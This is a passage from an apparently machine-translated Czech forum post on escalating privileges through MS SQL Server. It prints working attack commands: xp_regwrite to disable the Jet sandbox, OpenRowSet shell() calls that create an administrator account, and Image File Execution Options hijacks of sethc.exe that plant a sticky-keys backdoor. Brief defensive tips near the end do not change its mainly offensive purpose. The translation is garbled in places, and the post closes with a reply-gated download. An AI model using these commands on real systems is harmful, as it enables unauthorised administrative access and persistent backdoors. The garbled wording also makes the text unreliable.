@oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; Další dvě tvrzení používají sp_oacreate uložené procedury, které potřebují použít odsole70.dll soubor, takže přežití tohoto souboru závisí na úspěšnosti jeho vytvoření. (2), xpsql.cpp: Chyba 5 z CreateProcess (řádek 737) Tato situace je složitější, a říká se to na internetu EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',0 Vyberte * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Vyberte * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Zkontroloval jsem sandbox, abych zvýšil práva na tuto záležitost, ale podle mé praxe je úspěšnost velmi nízká, protože většina serverů smazala c:\windows\system32\ias\ias.mdb. Pak můžete zkusit image hijacking sethc, samozřejmě image hijacking je také podmíněný, 1 musí existovat xp_regwrite této uložené procedury, 2 je 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',' Debugger' není mazán Nejprve můžete zjistit, zda byl blokovací sticky key ukraden Výkonný mistr.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' Pokud prompt problém nenajde, důkaz je smazán, není možné spustit SQL příkaz sethc.exe vyzvání EXEC, mistr... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spuštění obrazových souborů\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Po pětinásobném připojení k terminálu a přepnutí se to přímo přesune na plochu a pak ho ručně přidá.
Registr upravuje terminálový port
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
Pokud jde o prevenci únosu obrazu, je to hlavně dosaženo následujícími metodami:
★ Zákon o omezení povolení
Pokud uživatel již nemá přístup ke klíči registru, nemůže tyto věci upravovat. Otevřete Editor registru a přejděte na HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, vyberte tuto položku, klikněte pravým tlačítkem - > oprávnění - > pokročilé a snižte oprávnění administrátora a systémových uživatelů (zde stačí zrušit zápisovou operaci).
★ Metoda rychlého řezání neupraveného konopí nožem
Otevřete editor registru a přejděte do baru
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spuštění obrazových souborů
Problém lze vyřešit přímým smazáním položky Možnosti vykonávání souboru obrazu.
SQL Command unáší registry sticky key instalace backdoor xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spuštění obrazového souboru\sethc.exe', 'Debugger','REG_SZ', 'C:\WINDOWS\system32\kdsn.exe'
Stažení softwaru:Turisté, pokud chcete vidět skrytý obsah tohoto příspěvku, prosím Odpověď
|